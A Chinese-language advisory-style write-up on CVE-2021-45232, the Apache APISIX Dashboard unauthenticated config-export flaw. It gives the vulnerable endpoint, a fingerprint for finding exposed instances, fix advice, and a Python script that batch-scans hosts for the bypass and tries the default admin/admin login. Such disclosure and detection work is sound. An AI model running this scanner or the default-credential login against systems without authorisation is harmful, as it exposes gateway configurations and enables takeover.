apisix未授权访问(CVE-2021-45232)

简介: apisix未授权访问(CVE-2021-45232)

apisix未授权访问(CVE-2021-45232)

遵纪守法

任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益

漏洞描述

Apache APISIX 是一个动态、实时、高性能的 API 网关, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX Dashboard 使用户可通过前端界面操作 Apache APISIX。该漏洞的存在是由于 Manager API 中的错误。Manager API 在 gin 框架的基础上引入了 droplet 框架,所有的 API 和鉴权中间件都是基于 droplet 框架开发的。但是有些 API 直接使用了框架 gin 的接口,从而绕过身份验证。

风险等级

高危

影响版本

Apache APISIX Dashboard < 2.10.1

资产确定

title="Apache APISIX Dashboard"

漏洞检测

POC

host + /apisix/admin/migrate/export

验证,成功读取文件

访问该地址可直接下载配置文件

检测脚本

https://github.com/Ifory885/CVE-2021-45232

import argparse
import sys

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36'}


def banner():
    print(r"""
  _______      ________    ___   ___ ___  __        _  _   _____ ___  ____ ___  
 / ____\ \    / /  ____|  |__ \ / _ \__ \/_ |      | || | | ____|__ \|___ \__ \ 
| |     \ \  / /| |__ ______ ) | | | | ) || |______| || |_| |__    ) | __) | ) |
| |      \ \/ / |  __|______/ /| | | |/ / | |______|__   _|___ \  / / |__ < / / 
| |____   \  /  | |____    / /_| |_| / /_ | |         | |  ___) |/ /_ ___) / /_ 
 \_____|   \/   |______|  |____|\___/____||_|         |_| |____/|____|____/____|

                                                                                                                by:Ifory""")


def parse_args():
    parser = argparse.ArgumentParser(
        epilog='\tExample: \r\npython3 ' + sys.argv[0] + ' -u 127.0.0.1:9000')
    parser.add_argument("-u", "--url", type=str,
                        required=False, default=None, help="待检测URL")
    parser.add_argument("-f", "--file", type=str,
                        required=False, default=None, help="批量导入检测")
    return parser.parse_args()


def handle_url(host):
    if 'http' not in host:
        host = 'http://' + host
    return host


def poc(host):
    url = host + '/apisix/admin/migrate/export'
    try:
        respose = requests.get(url, headers=headers, verify=False, timeout=5)
        if "Counsumers" in respose.text:
            print(f"[+]{host} vul!")
            with open("vul.txt", "a", encoding="utf-8") as f:
                f.write(f"{url}\n")
        else:
            print(f"[-]{host} no vul!")
        return True
    except:
        print(f"[-]{host} 页面无法访问")
        return False


def login(host):
    url = host + '/apisix/admin/user/login'
    json = {"username": "admin", "password": "admin"}
    try:
        respose = requests.post(url, headers=headers,
                                json=json, verify=False, timeout=5)
        if '"code":0' in respose.text:
            print(f"[+]{host} default password!")
            with open("vul_login.txt", "a", encoding="utf-8") as f:
                f.write(f"{host}\n")
        else:
            print(f"[-]{host} no default password!")
    except:
        print(f"[-]{host} 页面无法访问")


if __name__ == '__main__':
    banner()
    args = parse_args()
    if args.url:
        host = handle_url(args.url)
        if poc(host):
            login(host)
    else:
        if args.file:
            with open(f"{args.file}", "r", encoding="utf-8") as put:
                for url in put.readlines():
                    host = url.strip()
                    host = handle_url(host)
                    if poc(host):
                        login(host)

修复方案

目前官方已发布修复版本修复了该漏洞,请受影响的用户升级到安全版本:

https://github.com/apache/apisix-dashboard/releases/tag/v2.10.1

若无法及时升级的用户,可根据官方提供的修复建议通过修改默认用户名和密码,并设置访问Apache APISIX Dashboard的白名单进行缓解。

目录
相关文章
|
资源调度 监控 API
开源API网关APISIX分析与使用
开源API网关APISIX分析与使用
1276 0
|
8月前
|
存储 安全 开发者
《探秘鸿蒙原生应用:分布式软总线如何开启跨设备协同新时代》
鸿蒙原生应用通过分布式软总线技术实现跨设备协同,带来便捷智能体验。该技术作为核心纽带,统一通信机制,整合多设备资源,支持自动发现连接、高效数据传输与设备抽象管理。实际应用场景涵盖多屏协同办公、智能家居控制及游戏跨设备对战等,极大提升生活与工作效率。尽管面临复杂环境稳定性及资源优化配置等挑战,未来分布式软总线将加速连接速度、强化安全性并优化资源管理,推动万物互联的智能生活发展。
446 0
|
7月前
|
监控 测试技术 数据库连接
RunnerGo API 性能测试实战:从问题到解决的全链路剖析
API性能测试是保障软件系统稳定性与用户体验的关键环节。本文详细探讨了使用RunnerGo全栈测试平台进行API性能测试的全流程,涵盖测试计划创建、场景设计、执行分析及优化改进。通过电商平台促销活动的实际案例,展示了如何设置测试目标、选择压测模式并分析结果。针对发现的性能瓶颈,提出了代码优化、数据库调优、服务器资源配置和缓存策略等解决方案。最终,系统性能显著提升,满足高并发需求。持续关注与优化API性能,对系统稳定运行至关重要。
|
10月前
|
数据采集 数据可视化 数据挖掘
金融波动率的多模型建模研究:GARCH族与HAR模型的Python实现与对比分析
本文探讨了金融资产波动率建模中的三种主流方法:GARCH、GJR-GARCH和HAR模型,基于SPY的实际交易数据进行实证分析。GARCH模型捕捉波动率聚类特征,GJR-GARCH引入杠杆效应,HAR整合多时间尺度波动率信息。通过Python实现模型估计与性能比较,展示了各模型在风险管理、衍生品定价等领域的应用优势。
897 66
金融波动率的多模型建模研究:GARCH族与HAR模型的Python实现与对比分析
|
6月前
|
机器学习/深度学习 人工智能 负载均衡
Trae 04.22版本深度解析:Agent能力升级与MCP市场对复杂任务执行的革新
在当今快速发展的AI技术领域,Agent系统正成为自动化任务执行和智能交互的核心组件。Trae作为一款先进的AI协作平台,在04.22版本中带来了重大更新,特别是在Agent能力升级和MCP市场支持方面。本文将深入探讨这些更新如何重新定义复杂任务的执行方式,为开发者提供更强大的工具和更灵活的解决方案。
744 1
|
Java Maven Spring
springboot学习一:idea社区版本创建springboot项目的三种方式(第三种为主)
这篇文章介绍了在IntelliJ IDEA社区版中创建Spring Boot项目的三种方法,特别强调了第三种方法的详细步骤。
10912 0
springboot学习一:idea社区版本创建springboot项目的三种方式(第三种为主)
|
监控 负载均衡 API
Apache Apisix轻松打造亿级流量Api网关
Apache APISIX 是一个动态、实时、高性能的 API 网关,提供负载均衡、动态上行、灰度发布、熔断、鉴权、可观测等丰富的流量管理功能。适用于处理传统南北向流量、服务间东西向流量及 k8s 入口控制。Airflow 是一个可编程、调度和监控的工作流平台,基于有向无环图 (DAG) 定义和执行任务,提供丰富的命令行工具和 Web 管理界面,方便系统运维和管理。
Apache Apisix轻松打造亿级流量Api网关
|
容器 Docker Java
|
安全 Oracle Java
weblogic中间件漏洞总结(二)
weblogic中间件漏洞总结
435 74
weblogic中间件漏洞总结(二)
|
Linux
配置时间同步服务
在Redhat 9.2上,Chrony被用来同步系统时间与NTP服务器。默认情况下,它已在RHEL7/CentOS7中预装。要安装,首先通过`yum -y remove chrony`卸载,然后用`yum -y install chrony`进行安装。安装后,使用`systemctl restart chronyd`重启服务,并用`systemctl enable chronyd`设置开机启动。编辑`/etc/chrony.conf`添加阿里云NTP服务器如`ntp1.aliyun.com`和`ntp2.aliyun.com`以同步时间。使用`chronyc sources -n`确认时间源。
1254 4